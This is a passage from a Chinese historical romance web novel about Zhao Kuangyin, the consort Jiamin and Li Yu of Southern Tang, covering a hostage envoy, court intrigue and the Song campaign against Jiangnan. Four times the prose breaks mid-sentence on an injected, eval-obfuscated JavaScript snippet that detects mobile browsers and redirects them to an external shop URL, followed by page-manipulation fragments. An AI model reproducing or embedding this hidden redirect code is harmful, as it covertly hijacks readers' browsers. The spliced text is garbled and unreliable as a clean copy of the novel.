李从善拱手施礼:“正是!” “那不知我大宋京都比之金陵如何?”赵光义颇为玩味地道。 眼见已经掉进了对方挖的陷阱里,李从善益发小心应对,笑道:“金陵原也算是一方富饶之地,可与汴京比起来,一个在地,一个在天!” 此话自然有些言不由衷,赵匡胤把玩着酒杯但笑不语。 赵光义醉醺醺地提着酒壶走到李从善面前,将他的杯子又斟满,一边道:“既然楚国公如此喜欢汴京,本王邀你在此长住如何?” 李从善吓的酒杯也从手里掉落,这分明是要扣留自己的意思,看来宋主果然对江南图谋不轨,好在说话的只是晋王,他不觉转头看向皇帝。 赵匡胤却连眼皮也不抬一下,只吩咐道:“替楚国公再拿一个杯子来!” 看来这根本不是晋王的意思,而是皇帝的主意! 赴完宫宴,李从善匆匆跑回驿馆去见嘉敏,“皇嫂,那大宋皇帝想扣留我等使臣,趁他还没有对你下令,现在赶快带着秋芙回去吧,再晚一些怕是连你也走不了了!” 嘉敏茫然不解,她还在等着召见。 秋芙倒是个明白的,皱眉问道:“楚国公此话何意?是大宋的皇帝要扣留人质么?” “不错!若只有我被扣留在汴京也就罢了,可皇嫂是个女子,自然不能同我一起留下,我已命人备好马车,你们现在就走!”李从善一脸煞有介事地催促着。 嘉敏却是一动不动摇头道:“我不走,赵哥哥不会扣留我的!” 李从善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456655|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想她竟会如此,疾言厉色道:“那赵匡胤是个男子,你怎可轻信于他?” “此话好没道理,皇弟你不也是个男子么?”嘉敏一时不忿,与他争执起来。 李从善却是一厢情愿地道:“此事已定,你还是快走吧!如若被赵家皇帝给拦了下来,必要时可一死保全名节!”话音落将一把匕首递到她手里。 “既要保全名节,为何你不自己留着用?”赵匡胤怒喝,走过来将嘉敏护在身后,“嘉敏是朕自小千里迢迢护送回金陵的,朕有多宝贝她,岂是你这等凡夫俗子能够明白?你居然敢递凶器给她,若非顾念两国邦交,朕一刀砍了你!” 李从善吓的面如土色,一时不知如何应对。 嘉敏忙抓住赵匡胤的衣袖道:“赵哥哥,楚国公也是一时失言,你不要怪他好不好?” “最好是如此!”赵匡胤瞪了李从善一眼,而后便不再理她,和颜悦色对嘉敏道:“我来带你到汴京到处逛逛,这边的风物与金陵大不相同,也有许多可玩耍之处。你若无事,不如我们现在就去?” 原来这一国之君竟是约自己来逛街的! 嘉敏觉得稀罕,玩心大起,也不理会楚国公的眼神提醒,浅笑着随赵匡胤而去。 十里汴河风光颇不寻常,虽说比不得金陵雅致,其繁华富足简直叹为观止。 从香药铺和酒家绕过去,就是许多饭馆,包子、肉饼羹汤什么的应有尽有。 嘉敏素爱喝羹汤,赵匡胤就买了螃蟹米糁羹,两个人坐在店里慢慢喝,店家还送了樱桃煎和山楂糕。 老板娘笑吟吟地道:“这位相公是熟客,夏天的时候最喜欢我们店里的奈花索粉,每次都多给钱,今日这螃蟹羹就不收钱了,糕点也是赠送,望相公和夫人不要嫌弃。” 嘉敏端起碗喝羹,把一张脸都藏起来了。 赵匡胤倒是大大方方的认下名头,笑道:“那就多谢大嫂了!内子不常出门,不知今日汴河边有何热闹可瞧?” 老板娘拍手笑道:“这不是赶巧嘛!正好今日汴京城选花魁,还不曾结束……” “花……魁……”嘉敏放下碗盯着赵匡胤看,眼神颇有些凶狠。 这下轮到赵匡胤拿起碗挡住脸了,罕见地露出些许惊慌之色。 老板娘笑的直不起腰,一拍嘉敏的肩膀道:“这相公瞧起来英武非凡,原来竟是个怕老婆的。小娘子,其实没事的,男人嘛就去看个热闹,难不成他还真有钱一掷千金去同那花魁过夜?” 她所参照乃是自家那抠门相公,自然做不得准。 嘉敏觑了赵匡胤一眼,怪腔怪调地道:“你瞧这位相公像是个没钱的主么?” 老板娘立时认真打量了赵匡胤一番道:“这相公一瞧就是出身名门家资丰厚,肯定是花得起!”说罢一脸紧张转向嘉敏:“小娘子,你可得把他看紧点儿,说不定他早背着你去喝过好几次花酒了,不然怎会心虚成这般模样……” “噗……”赵匡胤一口米糁羹呛在喉间,连鼻子都是酸的,瞧见嘉敏那凉凉的目光,心下更慌了。 一个花蕊夫人就教他有口说不清,这下好了,他该如何自证清白? 58.酒入愁肠 出了羹汤店,来到汴河上,赵匡胤紧张地解释个不停: “嘉敏,那老板娘只是一时戏言,你切莫当真!我可并非什么富贵之人,虽然如今身居高位,可日子过的还不如在民间时自在!” 说着开始历数自己的不易:“自从当了皇帝,我花钱就一点也不自在。前两年冬天,因为觉得冷,想采购一批熏笼,过了好几天都没有送过来。采办之人回话说内廷采买东西,需要先报告给尚书省,再层层审批,最后还要经宰相批准,才能拨款采购。这一套程序下来,我都冷了十天半个月了。可是没办法,皇帝无私产,我连花一千文都困难,又如何能一掷千金?” 同样是做一国之君,李煜生活奢靡,内廷一直花钱如流水,何曾因为过熏笼这等小事大费周章?嘉敏听罢自然十分惊讶,眨眨眼问道:“当真如此?” “千真万确!”赵匡胤又道:“非但是熏笼,治国理政诸事繁忙,每每熬至深夜,难免有时腹中饥饿。有天晚上我想吃羊肝,可一想到若是真吃了,御膳房怕是会经常备着,以后每天都多杀一只羊,又是一大笔开销,后来只好饿着肚子睡下了。” “不过是一些熏笼和羊而已,能有多大开销?”嘉敏本是心疼他挨饿受冻,说出的话却全然变了味道,眉头紧锁怏怏不乐嗔道:“原来你这么穷啊!” “呃……”赵匡胤方觉自己装可怜过头了,忙道:“虽不富裕,倒也勉强可以养家,无论如何,定不会教你如我这般挨饿受冻!” 嘉敏低眉垂首,眼珠骨碌碌地转,小声问:“为何?” 赵匡胤抚着她的秀发柔声道:“你若是饿着冻着一点,我还不心疼死!” 嘉敏心思转的飞快,又问道:“那如果你的那些尚书省宰相之类的,定是不准我的花销,又当如何?” “这个么……”赵匡胤一本正经道:“那我就提着银枪先挑了尚书省,再杀去宰相府,只说两个字——给钱!看他们谁还敢不准!” 想象着那等场面实在太过滑稽,话音落两个人就相对哈哈大笑。 月亮倒影在汴河中,被舟子摇橹搅碎。 眼见时辰已不早,秋芙上前道:“赵公子,小姐该回去了,驿馆里那么多双眼睛看着,最好还是不要落人话柄。” 纵然依依不舍,可想着明日大约还有机会相见,也就听了秋芙的劝,把嘉敏送回去。 到了驿馆门口,突然又想起楚国公今日的行径,未免心下有气,打算好好教此人一番道理。 当晚李从善正就寝,突然有两名姿容尚可的青楼女子称是奉了皇命前来侍寝,不待其反抗,已经将他的衣袍全部扒下来。 李从善不敢抗旨不尊,正想着忍辱屈就,两位美人儿却冷笑着丢出一把匕首来替皇帝传话:“皇上说了,楚国公乃是高风亮节之人,倘若受不得如此威逼,或可自尽以保全名节。倘若你真这么做了,我二人必对你很是敬重,绝不会再染指半分!” 李从善颤巍巍地捡起匕首,可哪里有胆量捅到自己身上去? 于是两位美人打着哈欠见他反复想要自杀,又每每在最后关头放弃,看的都睡着了,天亮后人却依旧好好活着,跌跌撞撞跑出去向嘉敏求救。 嘉敏听罢多半也知道赵匡胤是在戏耍他,安慰了几句就带他入宫面圣。 赵匡胤见他瑟瑟发抖跪在自己面前磕头求饶,冷哼一声道:“昨日你教嘉敏自尽以保名节可是张口就来,怎么,你自己的名节反倒就这么不值钱?” 李从善人已吓傻,泣道:“是臣一时糊涂,求皇上饶命!” 赵匡胤白了他一眼厉声道:“你给朕听好了,嘉敏的家在南唐,朕是不得已才将她留在江南,倘若你们敢伤她一根毫发,朕教你们姓李的全家都不得好过!” 此话威慑极强,李从善算是明白过来了,这大宋皇帝对自己嫂子怕不是简单的幼年救助之情,而是像心肝宝贝一样宠爱无比,若说没有半分男女之情,怕是鬼也不会信。 一边磕头求饶,脊背却越来越凉,自古红颜祸水,嘉敏怕不是要给江南带来灭顶之灾?可笑哥哥还指望她能说动大宋皇帝不要对江南用兵,天知道这对男女暗中都筹划了些什么? 嘉敏又哪里知道他这些心思,反倒趁机求情,希望赵匡胤能放了李从善,让他们一起回去。 可国事家事赵匡胤向来不会混为一谈,微微变了脸色,挥手道:“楚国公若无其它事,就先退下吧!” 李从善如获大赦,匆忙而去。 见他面色凝重,嘉敏禁不住道:“楚国公不过是前来送礼朝贺,你扣留他莫不是想对江南用兵?” “朝堂之事非你所能明白,再则兵发江南是迟早之事,除非……”赵匡胤坐下缓缓道:“除非李煜献国投降,或可免去一场浩劫。”扣留李从善正是做此等考量,明里暗里向李煜施压,“若他肯入朝称臣,仗就不必打了!” “就是不战而降喽!”嘉敏皱眉道:“纵然大宋强势,可赵哥哥你未免也太看轻那些江南文士了!卖国求荣,岂是君子所为?” 赵匡胤淡淡道:“既然你明白这个道理,这仗自然是非打不可了!” 自小在嘉敏心里,赵匡胤就是天神下凡,若他说要攻灭一国,只怕用不了多久,此地就会并入大宋。 虽说二人之间情爱甚笃,可她毕竟是江南人,又哪里愿意看到国破家亡的惨状?过了半晌幽幽问道:“你为何一定要逼李煜入朝称臣,可不可以放过他?” 赵匡胤面色骤然大变,怒而起身:“嘉敏,你总不至于忘记了,那李煜与我有夺妻之恨,你居然要我放过他!朕凭什么放过他?” 嘉敏何曾见过他如此疾言厉色的模样,甚觉惊吓,低着头缩在一旁坐着扑簌簌地掉眼泪。 赵匡胤呆住,慌忙抱她在怀柔声哄道:“我为此事伤了半辈子的心,总想着早日与你破镜重圆,难免激动了些,不是有意对你这么凶,不哭好不好?” 嘉敏眼泪依旧掉个不停,泣道:“献国投降,到时候江南李氏就全部成了俘虏,我也会变成俘虏的,像花蕊夫人一样,是不是?” 此事赵匡胤无法反驳,就算他有再多考量,嘉敏将以俘虏之身入京的事实怕是难以改变。而俘虏的地位比家奴还不如,换句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14463922|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说他们几乎可以被随意支配,尤其是女人。 赵匡胤沉吟片刻,凝着她的眼眸道:“自唐末以来蕃将作乱,我中原历经百年浩劫,至今犹未休。而今契丹人势力强大,多骚扰我边境。嘉敏,你想一想,倘若不是我一统南北,而是契丹先侵入大宋,再灭江南,这天下之势又会变成什么样子?你自小长在司徒府,可听过永嘉之乱?” “永嘉之乱?”嘉敏颇读过一些史书,顺着他的话说下去:“西晋时匈奴入侵,五胡乱华之始也,乃是华夏之浩劫,无数汉人被灭了族,自此消失。” 赵匡胤点头:“其实不管江北江南都是我汉人的天下,我们本就该是一家,长时间的分裂只会削弱我们的势力,使外族有机可乘。对江南而言,大宋是敌国;可对契丹而言,我们该是一体!”说着不禁握紧她的手,“倘若我不能让大宋在我手中强盛,一举攻灭契丹,只怕将来会后患无穷遗祸子孙。天下事从来都不是帝王之私事,故而亦不能徇私,就算是可能会伤害到你,我也只好如此。不过你不要害怕,我赵匡胤要护着的人也一定护的住,除非我死……” 听他说如此不祥之语,嘉敏慌忙抬手纤纤玉指压在他嘴上,本是想来求他不要去攻打江南,可居然反被他说服了。 嘉敏尚自迷惑,陈抟老祖却来了,带来一张图,并非军事地图,而是江南各地的经济税收图册。 对着这张图交谈了许久,陈抟老祖问道:“一个活江南抵得上北朝两倍的赋税,皇上,你此时出兵,难道是想重蹈世宗柴荣之覆辙,夺一片焦土回来么?” 赵匡胤来回踱步,沉吟道:“朕自继位以来,所思所想皆是天下人天下事,巴望着有一天能够天下太平,怎会愿见生灵涂炭?自然是‘宁取活江南,不夺死淮南’,晚些出兵,亦无大碍!” 陈抟老祖知其通透,但笑不语。 “不过江南之富足的确超出想象,倘若北朝也能有如此财富,百姓的日子要好过许多。”赵匡胤凝眉思虑,“若只单靠农耕,量也积累不得如此巨额财富,看来这江南另有生财之道!” 陈抟老祖抚髯道:“此事等夺了江南以后,皇上自然会明了。” 翌日在朝上下令暂缓对江南用兵,朝臣多有不解。 嘉敏此番亦算有所获,只不过李从善被扣汴京已成定局,她亦无可奈何。李煜派了户部尚书冯延鲁前来交涉,并催促她早日还家。 赵匡胤亲自送她出汴京,一路秋蝉啼鸣黄叶满地,好不凄婉,当真是相见时难别亦难。 嘉敏望了一眼不远处来迎她的马车,回眸道:“赵哥哥,那花蕊夫人,你若当真喜欢,想要纳为妃妾的话,我也不会在意的。” 赵匡胤凝了她一眼,悠然吟诵道:“蓬莱院闭天女台,画堂昼寝人无语。抛枕……” 嘉敏惊慌失措,又用手指压住他的唇,想到自己乱吃飞醋,教他好一通解释,现在情势逆转,李煜写给她的这香艳词曲却又如何说得清楚? 思虑半晌也未有只言片语,大着胆子用自己娇软的花唇纠缠住他,如啜饮花露的蝴蝶,丝丝缕缕,柔婉缠绵难舍难离。 59.细雨梦回 今晚骁骑营石守信当值,忙完已至半夜,回到营帐中就寝,却发现早有一人睡在里面,脱下的龙袍挂在床头。 石守信也不知他睡着没,并不上前打扰,而是派人把其余八个兄弟全部从家中叫来,无人交谈,脱了鞋子就并排躺在那张长铺之上入睡。 他兄弟十人自打结义以来,在军中一直睡同一张长铺,情谊之深厚可见一斑。 而赵匡胤自打当了皇帝以后,已经很少有机会能与诸兄弟共寝一榻,他今晚既睡在此处,其他人没有一个不来相陪的。 然则他并没有什么重要的事,只是忘不了嘉敏印在他唇上的吻,一整天魂不守舍,夜里就想找一个温暖的地方,躺下好好做一场梦。 次日醒来,也如往常在军营时一样,与兄弟们一起打水梳洗披衣上朝。 十人都是武将,浩浩荡荡步入朝堂,自有一番威慑,可听到的消息却着实令人不悦。 契丹军队骚扰边界,非但抢夺财物,连同百姓也尽数掳走。 朝中一时群情激愤,有人主张立时反攻,连幽云十六州一起收复回来;有人认为应当遣使去契丹,据理力争要会失去的财物和百姓;自然也有保守派进言契丹兵强马壮,不易轻起战端,小不忍则乱大谋。 听着大臣吵闹不休,赵匡胤支着头喝道:“行了,朕与那契丹无道理可讲,通知边将,它抢朕多少,朕就抢它多少。抢完去告诉那契丹主,不还我们的人,我们也不还他们的,看他们还想玩儿多久!” 此计着实有些一言难尽,中原数千年也不曾出过去劫掠塞北游牧民族的朝廷,如今可算得上是破题儿头一遭。 眼见众文臣皆是一副我中原王朝怎可丢掉仁义礼智信的呆傻模样,武将们却纷纷掩嘴偷笑。 皇上何等英雄人物,教他吃哑巴亏那简直是做梦!在仁义礼法讲不通的地方,以其人之道还治其人之身才是王道。 果然契丹主听说宋主居然派人入契丹境内干了和他一样的勾当,震惊之余刚倒入口中的酒全部喷了出来,大骂下属草包,还赏了好几个耳光。可就算他脾气再大,大宋的使臣还在外面等着回话。 彼时的契丹乃是兵农合一,抓走的百姓跨上战马就是悍卒,可不比大宋抓来的那一批是只会种地的农夫。 左右思量不换实在太过吃亏,只得挥挥手换了了事,同时对这个睚眦必报的宋主又多了几分畏惧,毕竟在此之前会跑到游牧部落国内抢人的中原皇帝还不曾出现过! 趁着宋与契丹交涉之际,北汉国主刘继元兴兵来犯,被赵宋打了个丢盔弃甲逃回太原。 小小北汉敢兴兵伐宋,皆因投靠了契丹,每每得其援助,才能支撑到今日。 虽说打跑了走狗,赵匡胤却并不开心,需想方设法灭了它才行。 这日宰相赵普前来觐见,看一眼皇帝手中的地图,便已明白他心中所想,暗暗皱了下眉头。 君臣二人对坐饮茶,赵匡胤的目光一直落在手中的那张地图上。 “这地图画的是幽云十六州?”赵普将茶杯斟满,打算循循诱之。 赵匡胤笑道:“正是!幽云十六州乃契丹养战马之地,如若能收回,我大宋骑兵战力必然可以提升。” 赵普抿了一口茶水,问道:“向皇上献此图者可是曹翰?” “不错!”赵匡胤低头饮茶,“丞相以为曹翰是否能够收复幽云?” 赵普早料到他会有此一问,不慌不忙地斟茶续杯,“契丹对幽云十六州同样看重,臣以为曹翰确有可能收回此地。” 赵匡胤大喜,“丞相与朕英雄所见略同!” 可赵普面上却无半分喜色,问道:“不知皇上可曾想过倘若曹翰收复了此地,又该派何人镇守?” 赵匡胤皱眉:“怕是也只有曹翰了!” 游牧民族机动性强,就算输了数座城池,卷土重来的速度也绝对够令人震惊。 “陛下所言甚是!”赵普见他已想通,干脆点破,“那曹将军年纪可不算轻,倘若有一日驾鹤仙去,皇上打算命何人接替他的位置?若我大宋付出巨大代价,幽云却得而复失,此事是否有诸多不妥?” 赵匡胤无言以对,思虑片刻将地图合上弃置一旁,专心饮茶,却觉得滋味太寡淡,命人换酒上来,“看来下一步依旧是谋取江南之地,不过,朕着实不愿见这天下赤地千里血流成河,还需从长计议!” “自来征战天下,哪有不流血的?”赵普不以为意,“听说江南派了冯延鲁来,想要回楚国公,皇上可有打算?” “人嘛,倒是想放,只是又不想白白的放回去,总要送份大礼才划算!”赵匡胤斟酌着道:“如今江南诸将之中,朕最为忌惮者莫过于林仁肇了,朕命人画了一幅他的画像,想拿给楚国公瞧瞧,说不定他能帮上大忙。” 数日后,南唐的宫殿里,李煜收到了自己弟弟李从善的密信,言南昌尹林仁肇私下已投奔大宋,赵匡胤连赏赐的宅邸都修好了,自己亲眼所见那林仁肇的画像就挂在照壁上;其二,宋主意欲下诏命他前去汴京,如今自己尚不得归,国主来了必然会被扣留,此行万万不可,否则恐有灭国之祸! 李煜大惊,几乎痛哭流涕,“当初皇甫将军告诉朕那林仁肇意图拥兵自重,做那‘洪州王’,朕将信将疑。如今看来他果然怀有贰心,竟然暗中投靠宋主,出卖我南唐,当真可恨!” 皇甫继勋与林仁肇素来不睦,立时进言道:“林仁肇原为闵国将领,能投靠我南唐,就能投靠赵宋,倘若真被他釜底抽薪,将洪州拱手送给赵宋,则金陵危矣,还望陛下早下决断!” 洪州乃南唐陪都,倘若失之,等于大祸临头。 李煜无奈,抓烂密信,狠下心肠道:“赐林仁肇鸩酒一壶,改派朱令赟将军镇守洪州。自今日起,南唐举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468087|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国备战,以防赵宋来犯!” 不过区区半月,就已接到林仁肇被毒杀的消息,赵匡胤拔掉了插在洪州的战旗。 石守信等人前来进言,欲趁机发兵取江南,却未被应允,而且一推就是两年多,朝中难免多有议论。 就连几个兄弟也不明白一向英明神武的大哥为何在此事上一直犹豫不决,难道当真是因为顾忌嘉敏?可家国大事岂能与私事混为一谈? 烦闷之余来到王审琦家中饮酒,席间难免又是一通议论。 石守信叹息道:“若真如此的话,大哥未免也太英雄气短儿女情长了!” 刚说完赵匡胤就施施然走进来,笑道:“什么时候兄弟间这么生分,喝酒都不叫我了?” 众人纷纷起身让出位置来,赵匡胤朗声道:“我可听见刚才有人说我这做大哥的英雄气短儿女情长,是不是该自罚三杯啊!” 石守信一脸羞赧,“大哥说该,自然是该的!”言罢不带半分犹豫,自罚三杯以谢罪。 兄弟们嘻嘻哈哈笑过了事,赵匡胤又举杯与他们同饮,“朕知兄弟们对延缓攻伐江南一事颇有微词,若单纯只是军事征战,大宋的确十拿九稳。然则江南地广,人口稠密,若强行取之,将会死伤多少军民百姓,怕是无可计数。我等皆起于草莽之间,从最低阶士卒到如今身居高位,当知寻常百姓之困厄,战火于他们而言,无异于灭顶之灾。朕欲取江南之地,更要保江南之百姓,若朝中有人能够不枉杀一人而取之,朕必然即可命他出兵,倾全国之力而夺之,未知诸位可有举荐者?” 众兄弟默不作声,片刻石守信又自斟了一杯恭敬道:“皇上乃仁德之主,授天命而治世,我等武将只会打仗,所虑者短矣,倒是教皇上笑话了!” 赵匡胤拍拍他的肩膀道:“都是自家兄弟,不说这等客套话。自打受禅登基以来,朕也不知自己所做是对是错,每每焦虑不安,只有和兄弟们在一处时,才能放心下来,感觉有所依仗。这么多年不是朕在照拂兄弟们,而是兄弟们一直在照拂着朕,这杯酒该是朕敬兄弟们!” 其余人亦举起杯盏,王审琦朗声道:“大哥登基当日,兄弟们就曾说过日后唯君马首是瞻,不管大哥做什么,兄弟们都会站在你背后。皇上支撑着大宋江山,兄弟们支撑着皇上!” 觥筹交错间,众人的少年豪气一时便涌了上来,痛快饮酒,高声谈笑,洒脱自在,无拘无束。 外面下起潇潇暮雨,屋中灯火通明,谁也不知这酒宴何时会歇。 千里外的金陵城,柔仪殿中,李煜步入寝殿,见依旧是漆黑一片,顿觉心下烦闷,叹息道:“这都许多日子了,把宫灯点着,想来也没什么可怕的。”话音落,宫里的灯烛一下子算都亮了。 帐中的女子惊坐而起,看着一步步靠近的国主瑟瑟发抖,两手不自觉抓紧寝被,额头上沁出一层冷汗,连眼泪也掉了出来。 60.小楼吹彻 帘帐掀开,灯光尽数透了进来。 帐中人突然面朝里呕吐不止,李煜连唤了几声,她却越吐越厉害,不得已又命人将宫灯全部熄灭。 问她哪里不适,她却捂着嘴直摇头,一个字也不肯说。 这时有宫人来报说楚国公自大宋归来,念及手足之情,李煜前去相见,临走时不忘吩咐传太医来柔仪殿中。 待他走后,劫后余生的嘉敏主仆二人抱在一起哭起来,谁也不知道这样浑水摸鱼的日子还能过多久。 重光殿中夤夜入宫觐见的李从善瞧起来已不似一年前那般风姿绰然,瘦骨伶仃的,连眼窝也深了不少。 李煜瞧着心痛不已,解下自己的衣袍给他披上,哽咽道:“七弟,你受苦了!” 李从善摇头道:“为国尽忠算不得苦,不过臣弟在汴京打探到一些消息,很是紧要,这才急着来面圣,怕是扰了国主的清梦!” “哪里的话!”李煜引他入座,“倒是说说看,是什么要紧的事?” 李从善再拜道:“吴越王钱俶已归附赵宋,宋主意欲命他率兵自东路攻打我江南,听说他已准备数万兵自杭州北上策应,此其一也!” 此事李煜倒是早有耳闻,也做了防范,“吴越军尚且不足为惧,未知宋将中派了何人?” “宋主意属曹彬和潘美,当年曹彬率军自水路进攻川蜀,有指挥水师打胜仗的经验,而潘美灭了我们的邻国南汉,二人皆属悍将,我江南朝廷之中能与此二人匹敌者怕是寥寥可数。”李从善话语甚是委婉,事实上根本找不出能抵挡此二人者。 李煜凝眉思忖:“如今朝中堪用之大将,大约只有皇甫继勋和朱令赟两位将军了,需下诏命他们早日做好备战准备才是。” 李从善点头,缓缓道:“除此之外宋主还给了第二条路,就是要国主你北上入朝称臣,或可免此一战。” 烛火昏黄看不清李煜的脸色,不过必然很不好看。 “不过臣弟以为此举不妥!那赵匡胤怕是想效仿古之秦昭襄王,将国主视作楚怀王,一旦国主被扣留汴京,他必定会百般威胁你献国投降,到时候便可兵不血刃占据此地,国主万不可中计!”李从善熟读史书,此番论述倒是合情合理。 李煜点头,拍拍弟弟手臂,泣道:“当初父皇选我当太子,本就是看重我性格荏弱,一旦继任大统,必定侍宋甚恭,好规避灭国之祸。我也一直按照父皇所教授,小心谨慎,可还是免不了要被强宋入侵。而今六哥身边几乎已无人可用,幸好还有七弟自始至终都陪伴左右。乱世君臣无恩义,唯有兄弟尚可推心置腹,能有你这样的兄弟,怕是上天对六哥最后的一丝眷顾了。” 李从善亦是涕泗横流,握住他的手道:“虽说大宋强势,可我江南将士也并非贪生怕死之辈,六哥无需太过忧虑,或许我江南倾尽全国之力能抵御强敌入侵也未可知!” 或许是弟弟的话着实宽慰了李煜,他心头的负担一下子轻了不少,面上竟露出些许笑意。 事实上他心里明白,自己也不过是用笑脸来宽慰弟弟罢了。 笑过后却突然不见了弟弟的影子,李煜伸手去抓,只抓了个空。 是了,从善尚被扣押在汴京,而自己手里握着的只是他的书信,方才那些都不过是幻象! 乍然转醒的李煜不觉悲从中来,支着头失声痛哭,却还哪里有空想柔仪殿嘉敏的事? 江南的梅雨季节来了,宫中照旧准备了水瓮来收集雨水以做烹茶用。 这天李煜正在段贵妃宫中饮茶,却听说宋主下令在荆湖之地建造战船用来备战,只是淡淡道:“此事不值得大惊小怪,我江南据长江天险,大可坚壁以老宋师,严防死守即可!” 话虽如此说,可自那日起他却日夜辗转难眠,人也日渐消瘦,到了九月份更是卧床不起。 偏此时宋主派人前来要求李煜入朝称臣,激动之下病情愈重,自然入不得京,却也知道自己这一举动必然惹恼宋主,说不定就会以此为由兵发江南,难免愁绪更深,食不下咽,寝不能寐,连新制的曲词也十分哀恸。 宫人听了多悲不自胜掩面啼哭,连嘉敏看了也很是难过。 如其所料,当他称病拒不入朝的消息传到汴京,赵匡胤立时发兵十余万分三路前来攻打江南。 而南唐军队先是在采石矶战败,此后传来的战报无一例外全是败绩。 李煜病的益发严重,后妃们也知是肝气郁结所致,商量着想办法哄他开心,一起编了个新曲来给他解闷。 他虽非治世之明君,可温柔多情,对后妃宠爱居多,自然也不会拂了她们的一番心意,遂整顿衣冠坐在偏殿听曲。 嘉敏抚琴,段贵妃吹玉笛,黄保仪弹琵琶,窅娘献舞。 那曲词很是明艳活泼,嘉敏还罕见地一展歌喉,一声声圆转清丽如娇莺呖呖啼鸣,再加上窅娘柔艳夺目的舞姿,李煜登觉豁然开朗,命宫人送上美酒。 大家表演完就聚在一起喝酒说笑,还摇起了色子,玩嘉敏最擅长的叶子戏。 可也只是玩闹了一个多时辰,就有宫人来报宋军攻鄂州夺江阴,江南又失去了大片城池。 李煜听罢只是笑笑,继续喝酒玩闹,直到半夜也不停歇。 此时他已大醉,举着酒盏又哭又笑:“我南唐自开国以来已有四十余载,而今强宋欺我,恐有灭国之祸。我为亡国之君尚且不打紧,恐会连累尔等,被当做俘虏押解北上,一个个皆成了乱世之中的薄命红颜,教我如何忍心?早知如此,你们当初嫁于寻常人家,或许尚不至于有今日之祸!” 众人听罢自然悲伤不已,窅娘擦去泪水勉强笑道:“妾原本出身贫贱,不过是江边的采莲女而已,幸得国主垂爱,才有机会入宫侍奉,十几年来锦衣玉食,夫君又百般体贴,从未有过半分苛责。此生能陪在夫君身边,是窅娘的福气,就算将来有大难,也只愿能日日伴君左右,百死不悔!” 她字字出于真心,连黄保仪也不自觉感动,泣道:“妾入宫侍奉时君王年纪尚轻,总是将我当做年长的姐姐,有趣事或者受了委屈总是要到我宫里唠叨半晌,时间久了妾竟然变的和君王一样唠叨。” 听得如此诙谐的说辞,一屋子人尽破涕为笑。 黄保仪接着道:“妾生性愚钝,唯在书法上有些许造诣,可就算这微不足道的本领,君王也看在眼里,把自己所有的碑帖书法交由妾来保管,还时常邀妾评鉴书画,教妾担了个才女贤妃之名。这些年在宫中一直深受先太后之赏识,帮着打理后宫,享尽尊荣。妾想着君王不管到到哪儿,总得有个管家婆,大约是不会舍下我的!” 若说这些嫔妃之中得恩宠最少的就是黄保仪,可她从未因此而心生怨怼,而是尽心尽力操持着一切,这些年南唐后宫能如此井然有序,她功不可没。 即便是这样经常被忽视的妃子,也不曾想过大难临头各自飞,教李煜如何能不动请?握着她的手说不出话。 这时身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483244|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的段贵妃将手放在他肩上柔声道:“妾当初乃是倾慕君王之才华,后以采女之身入宫,每每侍奉御前,读书研磨,君王若制新词,妾必取来琵琶作曲弹唱。君喜妾之聪慧,一直宠爱有加,而妾待君一心一意。倘若南唐败亡,妾愿效仿西楚霸王之虞姬以死殉主!” 李煜摇着头将她抱住,哀恸道:“你教我如何舍得?” 哭了一阵看着坐在一旁幽幽垂泪的嘉敏道:“嘉敏,你我初识之时,你尚是个明媚活泼的闺中女子,云鬓花颜巧笑嫣然,见过一次后就神魂颠倒。后来娥皇故去,我纳你入宫,是想好好待你的,可却因着对娥皇的愧疚,教你受了诸多委屈,我真的好生后悔……” 其实他最宠爱的就是嘉敏,只是两个人之间总像是隔着什么,不管他如何修补,裂痕却始终在那里。 却只有嘉敏自己知道,他们之间隔着的不是周娥皇,而是那个即将覆灭江南的宋主赵匡胤。 以前她总想着自己的赵哥哥会来江南接走她,可如果是以国破家亡为代价,似乎非她所能承受。 